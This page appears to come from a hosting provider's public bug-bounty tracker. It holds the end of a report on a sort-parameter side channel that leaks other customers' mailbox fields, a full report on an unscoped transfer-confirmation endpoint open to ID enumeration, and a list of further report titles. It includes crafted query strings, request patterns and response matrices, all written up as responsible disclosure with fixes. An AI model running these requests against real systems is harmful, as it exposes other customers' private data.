```text Customer A = user 489835 Customer B = user 489840 Mailbox B = 635949 ```
### 1. Plant the canary
As Customer B, store a secret in a free-text column of B's own mailbox on `alwaysdata.net`.
I used `autoresponder_subject`.
The 8-character secret came from `/dev/urandom` and was never opened. Its SHA-256 was committed to the shared working log at `08:57:29Z`, before any probe, so the recovery below is verifiably blind rather than reconstructed from the probe process.
### 2. Create comparands
As Customer A, create one domain of your own and eight mailboxes.
Each mailbox becomes an independent comparand in the same request because the reverse relation emits each mailbox once per population row.
### 3. Issue the ordering request
As Customer A:
```http GET /mailbox/?_order=domainmailboxesautoresponder_subject ```
Read the indices at which your own eight rows appear.
Each index tells you how many values sort before that comparand, allowing approximately `log2` of the alphabet to be resolved for a character position.
### 4. Repeat
Two requests per character were enough against a 36-character alphabet.
### 5. Result
All 8 characters were recovered from `09:00:01Z` to `09:12:26Z`, in 16 requests.
The recovered string hashes to the digest committed at `08:57:29Z`.
Customer A never had access to Customer B's mailbox before or after the test, as demonstrated by the authorization controls.
## PROOF OF CONCEPT
### COST PER PROBE
Approximately 37 seconds and 786 KB, not 43 MB.
`autoresponder_subject` sorts the whole population and PostgreSQL sorts ascending with `NULLS LAST`, so the interesting window sits near output index 720 of approximately 50,930.
The response can be read as a stream and abandoned once the relevant window has passed.
This saves my bandwidth, not server-side work. Time to first byte remains approximately 33 to 37 seconds.
### THE FIVE CONTROLS
All controls were run in the same window because a rank on its own is not sufficient evidence.
C0: Baseline, canary never planted
The window is a contiguous empty region of population rows. Any later split is caused by the canary.
C1: Predict the rank of a known value
The predicted rank was `32 | 1 | 32`.
C2: Canary removed
The split collapses back to a single block and the delta returns to 0.
This is the control that isolates the canary and was the control that could not be completed earlier.
C3: Replant a different chosen value
The predicted result was `48 | 1 | 16`, matching the changed ordering position.
C4: A second, separately authenticated session
The same reading was reproduced.
### AUTHORIZATION CONTROL
In the same minute, Customer A receives:
```text 404 on /mailbox/635949/ 404 on /v1/mailbox/635949/ 200 on its own /mailbox/635597/ ```
### THE FAN-OUT ITSELF
This was proved on both front doors without making a 43 MB request.
Bounding the queryset to a single owned mailbox:
```text /v1/mailbox/?name=c2&_order=domainmailboxesid ```
returns eight copies of the control row compared with:
```text ?_order=id ```
The same behaviour occurs on the panel.
### WHAT I DID NOT DO
I did not read, infer, or record any value belonging to another customer.
Every value I reconstructed was one I planted on an account I own.
The generalisation to the other 50,928 rows is argued from the mechanism, not exercised.
## IMPACT
Any authenticated customer on a free plan can read the contents of another customer, one comparison at a time, without ever touching an object they do not own and without triggering any object-level authorization check.
No object-level check is involved because the rows returned are the attacker's own rows.
What is recoverable verbatim today is any column the attacker can also write, which covers the free-text mailbox columns.
I measured which columns the parameter actually accepts, in one batch with a control:
```text ?_order=domainmailboxesredirect_to
resolves
indicates where a customer forwards their mail
?_order=domainmailboxessieve_filter
resolves
?_order=domainmailboxesautoresponder_message
resolves
?_order=domainmailboxesantispam_folder
resolves
?_order=domainmailboxespurge_folders
resolves
?_order=domainmailboxespassword
resolves
sortable, but not recoverable verbatim
?_order=domainmailboxeszzbogus4471
500 / 1,033 bytes
NEGATIVE CONTROL
```
What is additionally sortable, but which I did not recover and am not claiming as a disclosure, includes the `password` column of the authentication model and `dkim_private_key` of `alwaysdata.net` itself.
Neither is recoverable verbatim using this technique because `password` is hashed and the API validates `dkim_private_key` as a key pair.
I mention them only to show how far the unvalidated path travels when sizing the fix.
I would also point out that the fix for the earlier filter report is separate from this query string handling issue. This parameter is a second instance of the same underlying habit. I mention this to be useful about the class, not to relitigate the earlier ticket.
## RECOMMENDATION
1. Validate `_order` against an explicit allow list of orderable columns, just as would be done for a filter field. Rejecting anything containing `__` would close the traversal on its own.
2. Apply `.distinct()` wherever an ordering may cross a multi-valued relation. The de-duplication is what converts a sort into a read primitive.
3. Catch `FieldError` and return HTTP 400 rather than HTTP 500. The uncaught exception currently acts as an oracle over the internal model graph, including models the panel never renders.
4. Paginate this view. It currently renders 56,148 rows and approximately 48 MB in the demonstrated request.
5. The same parameter is honoured on `api.alwaysdata.com`, so both front doors should be fixed. I checked and the API has no pagination parameter at all.
## DISCLOSURE
I want to explicitly document the testing activity because the application reports alerts when this parameter is exercised.
I caused 36 alerts on this parameter between approximately `06:00Z` and `09:15Z` on 2026-09-24.
Every test object I created has been deleted and verified gone, and both mailboxes I touched were restored field by field with a read-back verification.
|
|
494 | Any Customer Reads Every Account Transfer Record | Closed | 23.09.2026 |
Task Description
Vulnerability Information:
Name of Vulnerability: `/transfer/<id>/confirm/` performs no object-level authorization, allowing any authenticated customer to read account transfer records created for other customers by walking the global sequential ID space.
The endpoint exposes the transferred account's name, product tier, and email address of the person receiving the transfer, while the sibling `/transfer/<id>/accept/` and `/transfer/<id>/cancel/` views correctly scope the same object.
Vulnerability Category: Access Control Issues, Exposure of Sensitive Members Information, per the qualifying list on your bug bounty page.
This is the same class as FS#423 (IDOR to registrant dossiers) and FS#203 (account data exposed through insufficient authorization), both of which you fixed.
CVSS 3.1: 6.5 Medium AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
I score this based on the demonstrated primitive only: read access, one record per request, and no write capability.
The issue exposes third-party personal data, including email addresses, and therefore falls within the "accessing customers' data" impact category.
This report is unrelated to my two reports concerning `/reseller/domain/`. It is a different application and a different authorization defect.
Description:
Account ownership transfers, referred to as "cession", are represented by objects with a single global sequential ID rather than per-customer numbering.
The three views that operate on a transfer are:
``` /transfer/<id>/accept/
Correctly scoped
404 for a transfer the authenticated customer is not party to
/transfer/<id>/cancel/
Correctly scoped
404 for a transfer the authenticated customer is not party to
/transfer/<id>/confirm/
NOT scoped
200 for every existing transfer ID
```
The missing authorization check on `/confirm/` is the entire defect.
The existing codebase provides the control that demonstrates this clearly. Using the same user, in the same session, against the same transfer ID, `/accept/` and `/cancel/` refuse access while `/confirm/` serves the object.
The confirmation page renders:
``` "The transfer of the account <ACCOUNT NAME> is currently being accepted by <EMAIL ADDRESS>." ```
The product tier is also present in the page heading, for example:
``` "Transfer of a Private cloud account" ```
Because the transfer ID space is a single global counter, an attacker does not need to guess individual identifiers. They can enumerate them sequentially.
I swept a contiguous window of 68 IDs and 64 returned HTTP 200. Additional spot checks at IDs 800, 1400, 2000, 3000, 4500, and 4900 also returned HTTP 200.
This demonstrates that the vulnerable endpoint covers historical transfer records rather than only a recent slice.
Transfer ID 2000 predates every account I own, which rules out any permission relationship between my own accounts as an explanation.
WHAT THIS REACHES THAT A CUSTOMER CANNOT ALREADY REACH
A tenant's own SSH shell cannot enumerate another customer's ownership-transfer history.
This is control-plane state. The record couples a business or project account with the email address of the individual receiving ownership of it, identifying which party in a private commercial handover ultimately received the asset.
Nothing in a customer's own environment exposes this information.
Vulnerable Instances:
``` GET https://admin.alwaysdata.com/transfer/<id>/confirm/
POST https://admin.alwaysdata.com/transfer/<id>/confirm/ ```
The POST is also read-only in the observed behavior and does not mutate the transfer.
`<id>` can be any existing transfer ID.
The endpoint is reachable by any authenticated customer.
No permission grant, reseller role, or paid plan is required.
Steps to Reproduce:
Total cost: EUR 0.
I used a customer login with no relationship to the affected transfers.
All times are UTC, 2026-09-23.
1. Log in as an ordinary customer.
I used the login listed in the private annex. It owns exactly one account:
``` zzr1sticky0921 ```
Its "Granted permissions" list is empty.
2. Request:
GET /transfer/2000/confirm/
The endpoint returns HTTP 200 with a 149,638-byte response.
The body identifies a third-party account and the email address of the person accepting its transfer.
I read three transfer records in full. Their identifying values are listed in the private annex rather than in this report because tasks on this tracker are published and the values belong to your customers.
3. THE CONTROL THAT PROVES THE CHECK IS MISSING
Using the same session, the same IDs, and the same minute, two of the three sibling views refuse the exact object that `/confirm/` serves.
See the Proof of Concept for the response matrix.
4. FURTHER CONTROLS
a) A 200 response genuinely means that the record exists, making the endpoint an existence oracle:
``` /transfer/99999999/confirm/
404
/transfer/-1/confirm/
404
/transfer/0/confirm/
404
```
b) Authentication is required, so this is not an unauthenticated leak:
``` Anonymous GET /transfer/2000/confirm/ ```
returns:
``` 302 to /login/?next=/transfer/2000/confirm/ ```
c) I reproduced the issue from a second, unrelated customer login, confirming that it is not an artifact of a single account.
d) No other transfer sub-route I tested was open.
I swept 24 sub-routes including:
``` accept cancel decline refuse reject delete detail edit update resend renew validate complete finish abort status retry approve deny transfer the bare ID route ```
Every tested route returned 404 at exactly 179 bytes, identical to the response for a nonexistent ID.
Only `/confirm/` was readable cross-customer.
I include this control to make the blast radius precise: this is a disclosure issue, not a demonstrated takeover path.
5. RE-VERIFIED
I re-verified the issue at 05:45:11Z UTC from a newly established session, logged in from scratch specifically for this check.
No part of the evidence therefore depends on a session used for another test.
Proof of Concept:
All output below is verbatim. Customer-identifying values are replaced with placeholders and provided in the private annex.
Sibling view matrix, same session, same IDs, same minute:
``` ID /confirm/ /accept/ /cancel/ 2000 200 (149,638 B) 404 (179 B) 404 (179 B) 4500 200 (149,636 B) 404 (179 B) 404 (179 B) 5030 200 (149,632 B) 404 (179 B) 404 (179 B) ```
Nonexistent and negative ID controls on the SAME view:
``` /transfer/99999999/confirm/ 404 /transfer/-1/confirm/ 404 /transfer/0/confirm/ 404 ```
Unauthenticated control:
``` anonymous GET /transfer/2000/confirm/
302 to /login/?next=/transfer/2000/confirm/
```
Shape of the disclosed response body, with the two sensitive values replaced:
``` Home > Transfers > Transfer of a Private cloud account
"The transfer of the account <ACCOUNT-X> is currently being accepted by <EMAIL-X>. This only concerns the ownership of the account. If you also want the contents to be migrated to another server, please …" ```
Extent of the ID space:
``` IDs 4995 to 5062
64 of 68 returned HTTP 200
```
Spot checks returning HTTP 200:
``` 800 1400 2000 3000 4500 4900 ```
Transfer ID 2000 predates every account I own.
Impact:
Any person with a free Alwaysdata account can enumerate the global history of account ownership transfers on the platform.
For each transfer, the endpoint exposes:
``` Account name Product tier Email address of the receiving party ```
Concretely:
Commercial and personal relationship disclosure.
The endpoint links a named hosting account, and therefore potentially a business or project, to the personal email address of the individual receiving control of it.
For customers who are individuals or sole traders, this directly exposes personal information to any authenticated customer.
Commercially sensitive transfer events.
An account transfer can represent a business handover, a freelancer transferring client infrastructure, or another private ownership change.
The existence, timing, account identity, and receiving party of the transfer are disclosed.
Phishing and social-engineering targeting.
An attacker can obtain the exact account name and product tier associated with a genuine transfer and address the recipient using the email address exposed by the endpoint.
This provides a substantially more specific pretext than generic phishing.
Platform-wide transfer enumeration.
The existence oracle also provides information about historical transfer activity across the platform.
Recommendation:
1. Apply to `/transfer/<id>/confirm/` the same queryset scoping already used by `/transfer/<id>/accept/` and `/transfer/<id>/cancel/`.
Those two views provide the correct reference implementation.
The missing object-level authorization check appears to be the direct defect.
2. Confirm that the scoping predicate covers both parties to the transfer.
Specifically, verify that access is restricted to the transfer sender or the named recipient, and that this predicate is applied consistently to both GET and POST handling.
`/confirm/` currently responds to GET requests without the required object-level scope.
3. As defense in depth, apply the same principle used for the reseller views.
The transfer views should not default to a global queryset when the customer-specific filter is omitted.
A shared base view or authorization mechanism that requires object scoping would prevent another sibling view from accidentally exposing the same global dataset.
4. Optional and secondary: consider whether the confirmation page needs to display the recipient's full email address before acceptance.
A masked form may reduce unnecessary personal-data exposure even after the authorization issue is fixed.
DISCLOSURE AND CLEANUP:
I read three transfer records in full, plus one earlier record during discovery.
For the remaining enumeration, I recorded only HTTP status codes and response sizes.
Nothing was created, modified, accepted, cancelled, or deleted.
`/confirm/` is read-only based on the observed behavior.
I have not retained the personal data beyond the private annex submitted alongside this report, and I will destroy that annex upon your confirmation.
Customer-identifying values have deliberately been omitted from this published task because they belong to your customers.
Test window:
``` 2026-09-23 04:40Z to 05:45Z UTC ```
|
|
493 | Blind Read of DKIM Private Keys via Filter Injection | Closed | 23.09.2026 | |
|
492 | Full Customer Domain Register Readable by Any Customer | Closed | 23.09.2026 | |
|
491 | Cross-Customer Database Takeover via GRANT Wildcard | Closed | 23.09.2026 | |
|
490 | Paid Hosting Plan Provisioned Without Payment | Closed | 23.09.2026 | |
|
488 | TOTP Missing Single Use Enforcement | Assigned | | |
|
485 | Cross-Customer Account Takeover via CalDAV Hostname Sei ... | Closed | 21.09.2026 | |
|
484 | Arbitrary file write and code execution as root on shar ... | Closed | 24.09.2026 | |
|
483 | Account transfer leaves previous owner with permanent u ... | Closed | 16.09.2026 | |
|
481 | Any account can send fully authenticated email as any @ ... | Closed | 21.09.2026 | |
|
480 | When a user requests a password reset token (Token #1) ... | Closed | 14.09.2026 | |
|
479 | FTP Root Directory Allows Chroot Escape and Server File ... | Closed | 13.09.2026 | |
|
478 | Server-Side Validation Bypass Allows Account Registrati ... | Closed | 12.09.2026 | |
|
477 | Anonymous user enumeration with full real names and com ... | Closed | 11.09.2026 | |
|
476 | Attachment download endpoint serves unlisted files by I ... | Closed | 11.09.2026 | |
|
475 | Regression: unauthenticated SQL query and database erro ... | Closed | 11.09.2026 | |
|
473 | Default Credentials Allow Administrative Access on boid ... | Closed | 06.09.2026 | |
|
472 | Host system files served publicly from customer web roo ... | Closed | 05.09.2026 | |
|
470 | SSRF — reverse_proxy upstream (`url` / script_upstream_ ... | Closed | 03.09.2026 | |
|
466 | Exposed .git directory at security.alwaysdata.com (regr ... | Closed | 31.08.2026 | |
|
465 | Potential SQL Injection via getfile Parameter | Closed | 31.08.2026 | |
|
464 | Exposed always data user configuration details | Closed | 27.08.2026 | |
|
463 | Transitive Bypass of Credit Card Verification via Neste ... | Closed | 26.08.2026 | |
|
462 | SSRF guard does not cover your own infrastructure, whic ... | Closed | 26.08.2026 | |
|
461 | Incomplete fix for FS#401: SSRF guard does not normalis ... | Closed | 26.08.2026 | |
|
460 | Incomplete fix for FS#401: SSRF address guard is not re ... | Closed | 25.08.2026 | |